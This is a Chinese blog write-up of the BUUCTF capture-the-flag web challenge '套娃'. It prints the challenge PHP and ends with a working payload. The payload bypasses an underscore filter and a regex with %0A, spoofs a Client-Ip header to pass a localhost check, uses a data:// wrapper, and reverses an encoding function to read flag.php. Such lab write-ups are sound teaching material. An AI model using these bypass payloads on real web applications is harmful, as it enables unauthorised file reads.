BUUCTF WEB 套娃

原创

显哥无敌 于 2022-01-28 11:13:02 发布 2282 收藏

分类专栏： BUUCTF 文章标签： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_41696858/article/details/122728560

版权

BUUCTF 专栏收录该内容

73 篇文章 2 订阅

订阅专栏

前面的几题攻防世界也有，而且buuctf换成k8s管理以后和纯原生的docker环境又不一样了，有些地方我百度了也没百度到。。。

打开场景，看见一段被注释掉的源码

```
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->
```

过滤了_,b_u_p_t参数要不是23333且又要是23333，经典矛盾了属于是，其实很好办！==是强不等，以23333开头就好了

然后就是这个正则匹配，常用思路%0A绕过正则匹配，这样第二行的过滤就完全绕过了，我也疑惑过我在%0A之后明明也可以带其他东西的，为什么不行

come on，人家只放了部分源码，谁知道后面还有没有过滤了？

关于正则绕过的常规思路，可以看看这位师傅的，总结的还是很好的

https://blog.csdn.net/qq_40327508/article/details/108842617

至于我们要带b_u_p_t过去，而_被过滤了，怎么办呢。经典拼接，空格或者.在php处理时会被自动替换成_

回显FLAG is in secrettw.php ，访问吧Flag is here~But how to get it?Local access only!

Sorry,you don’t have permission! Your ip is :sorry,this way is banned!

审计页面代码，一串神秘代码？？好吧，一看就是密码学的知识，之前在bugku里面刷到过jsfuck，解码

http://www.hiencode.com/jsfuck.html

结果：alert(“post me Merak”

带个参数过去看看。传回来源码

```
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
    highlight_file(__FILE__);
    die();
}



function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
```

下面就卡住了，我是不知道这个getIp()的绕过思路是哪来的，takeip.php的源码也拿不到。我们就权当可以拿到吧，或者说是试出来的？
Client-Ip:127.0.0.1,发现IP的过了，23333是我们自己带过去的，不谈，文件内容要是todat is a happy day
服务器端是肯定没有了，好在data://或者php://input之类的伪协议可以由我们指定文件的内容，而php://input需要post参数，所以本题不考虑
用data://来过这个限制data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
最后只有一个change要过了，要保证change过后的参数是flag.php
开始看逻辑

```
function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}
```

写脚本，一个很简单的加密，倒过来就行了

```
<?php
$target="flag.php";
for($i=0;$i<strlen($target);$i++){
 $re .= chr ( ord ($target[$i]) - $i*2 );
}
$file=base64_encode($re);
echo $file;
?>
```

得到结果：
ZmpdYSZmXGI=
成功拿到flag
总结一下，第二个的payload:2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
burp抓包加client-ip头，127.0.0.1成功
参考视频链接:https://www.bilibili.com/video/BV15S4y1y754/